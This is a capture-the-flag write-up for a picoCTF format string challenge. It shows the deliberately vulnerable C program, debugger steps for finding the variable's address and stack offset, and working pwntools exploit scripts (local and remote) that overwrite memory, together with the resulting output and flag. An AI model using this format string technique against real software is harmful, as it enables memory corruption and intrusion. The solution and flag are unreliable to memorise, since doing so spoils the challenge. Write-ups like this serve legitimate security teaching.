The challenge has 2 files:
source code of the vulnerable c program:
#include <stdio.h>
int sus = 0x21737573;
int main() {
char buf[1024];
char flag[64];
printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n");
fflush(stdout);
scanf("%1024s", buf);
printf("Here's your input: ");
printf(buf);
printf("\n");
fflush(stdout);
// sus == galf
if (sus == 0x67616c66) {
printf("I have NO clue how you did that, you must be a wizard. Here you go...\n");
// Read in the flag
FILE *fd = fopen("flag.txt", "r");
fgets(flag, 64, fd);
printf("%s", flag);
fflush(stdout);
}
else {
printf("sus = 0x%x\n", sus);
printf("You can do better!\n");
fflush(stdout);
}
return 0;
}
and the binary (vuln)
As the name implies there is a format string vulnerability.
For a better understanding I read this article which also solves Format string 3 challenge.
https://blog.nviso.eu/2024/05/23/format-string-exploitation-a-hands-on-exploration-for-linux/
In order to set sus variable to 67616c66 value I first needed to find the address of it and the stack offset where it's saved.
In pwndbg
For finding the address:
pwndbg> p & sus
$6 = (<data variable, no debug info> *) 0x404060 <sus>
For finding the offset:
pwndbg> stack 20
00:0000│ rsp 0x7fffffffd990 ◂— 0x7fff00000000
01:0008│-448 0x7fffffffd998 ◂— 0x7fff00000000
02:0010│-440 0x7fffffffd9a0 ◂— 0xffffffff
03:0018│-438 0x7fffffffd9a8 —▸ 0x7ffff7fd4de9 (_dl_relocate_object+4233) ◂— test eax, eax
04:0020│-430 0x7fffffffd9b0 —▸ 0x7ffff7fc3908 ◂— 0xd00120000000e
05:0028│-428 0x7fffffffd9b8 —▸ 0x7ffff7ffdaf0 (_rtld_global+2736) —▸ 0x7ffff7fc3000 ◂— 0x3010102464c457f
06:0030│-420 0x7fffffffd9c0 ◂— 0x0
07:0038│-418 0x7fffffffd9c8 —▸ 0x7fffffffda80 ◂— 0x0
08:0040│-410 0x7fffffffd9d0 ◂— 'AAAAAAAA'
09:0048│-408 0x7fffffffd9d8 —▸ 0x7ffff7fc4a00 ◂— 0x39e28
0a:0050│-400 0x7fffffffd9e0 ◂— 0x0
0b:0058│-3f8 0x7fffffffd9e8 —▸ 0x7fffffffda80 ◂— 0x0
-'AAAAAAAA' is the value number 9 from the stack. In order to find the real offset I had to add 5 ----> offset = 14
exploit.py
from pwn import *
context.arch = 'amd64'
p = process('./vuln')
t = p.recvuntil(b'What do you have to say?\n')
#offset, {address: value}
payload = fmtstr_payload(14, {0x404060: 0x67616c66})
print(payload)
p.sendline(payload)
print(p.recvall().decode('utf-8'))
remote_exploit.py
from pwn import *
context.arch = 'amd64'
con = remote("rhea.picoctf.net",64757)
print(con.recvuntil(b'What do you have to say?\n'))
#offset, {address: value}
payload = fmtstr_payload(14, {0x404060: 0x67616c66})
con.sendline(payload)
print(con.recvall().decode('utf-8'))
[+] Opening connection to rhea.picoct[+] Opening connection to rhea.picoctf.net on port 64757: Doneb"You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n"[+] Receiving all data: Done (492B)[*] Closed connection to rhea.picoctf.net port 64757Here's your input: uc \x00 \x00aaaaba`@@I have NO clue how you did that, you must be a wizard. Here you go...picoCTF{f0rm47_57r?_f0rm47_m3m_5161a699}f.net on port 64757: Done
b"You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n"
[+] Receiving all data: Done (492B)
[*] Closed connection to rhea.picoctf.net port 64757
Here's your input: uc \x00 \x00aaaaba`@@
I have NO clue how you did that, you must be a wizard. Here you go...
picoCTF{f0rm47_57r?_f0rm47_m3m_5161a699}